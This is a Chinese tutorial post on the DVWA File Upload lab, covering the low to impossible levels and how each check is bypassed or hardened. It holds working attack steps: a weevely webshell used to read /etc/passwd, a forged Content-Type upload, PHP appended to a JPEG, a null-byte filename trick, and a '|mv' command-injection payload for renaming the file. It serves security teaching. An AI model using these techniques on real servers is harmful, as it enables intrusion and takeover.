继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

湖上湖
关注TA
已关注
手记 276
粉丝 85
获赞 377

说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。

把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。

低级

用户界面是这样的,是一个简单的上传文件功能。

https://img3.mukewang.com/5c24dc730001ff1003440162.jpg

然而 Hacker 就上传一个 phpinfo.php 文件

<?phpinfo();?>

。。。结果如下
https://img4.mukewang.com/5c24dc8b0001718e05140202.jpg

然后打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。

5c24dc4600015a0809260461.jpg

Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。

weevely generate 123456 /root/webshell.phpGenerated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.

上传完文件后,登录

weevely http://192.168.31.166:5678/hackable/uploads/webshell.php 123456weevely> ls
dvwa_email.pngwebshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

就变成你的地盘我做主了。 再来看看低级代码。

<?php
    if( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    
    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }    else {        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}    
?>

为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。

中级

而中级代码,多了文件类型和文件大小的限制

<?phpif( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }        else {            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }    else {        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}?>

这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求

https://img.mukewang.com/5c24dcaf0001d9a208140583.jpg

结果如下
https://img2.mukewang.com/5c24dcba0001213a10240335.jpg

打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。

高级

中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下

<?phpif( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }        else {            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }    else {        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}?>

我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种

比如这是大家老婆的图片

https://img4.mukewang.com/5c24dce40001a28504700377.jpg

保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。

为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。

  • windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg

  • linux/unix cat webshell.php >> gakki.jpg

所以我们可以制作一个 “图php"

cat phpinfo.php >> gakki.jpg

只是上传后,重命名是个问题。

php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 \0 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。

在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞

https://img3.mukewang.com/5c24dd000001c73f05370144.jpg

然后输入在 |mv ../../gakki.jpg ../../gakki.php ,再访问文件,结果如下

https://img1.mukewang.com/5c24dd0900010caf10240611.jpg

不可能

不可能级别的代码有添加了这些

  • 使用 imagecreatefromjpegimagecreatefrompng 去掉了不属于图片的部分

  • 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。

  • 用 anti-token 解决一些 CSRF 问题

代码如下:

<?phpif( isset( $_POST[ 'Upload' ] ) ) {    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }        else {            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }    else {        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}// Generate Anti-CSRF tokengenerateSessionToken();?>

也有其他手段防御文件上传漏洞(《白帽子讲web安全》):

  • 设置文件目录不可以执行

  • 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截

原文出处:https://www.cnblogs.com/jojo-feed/p/10173026.html  

打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP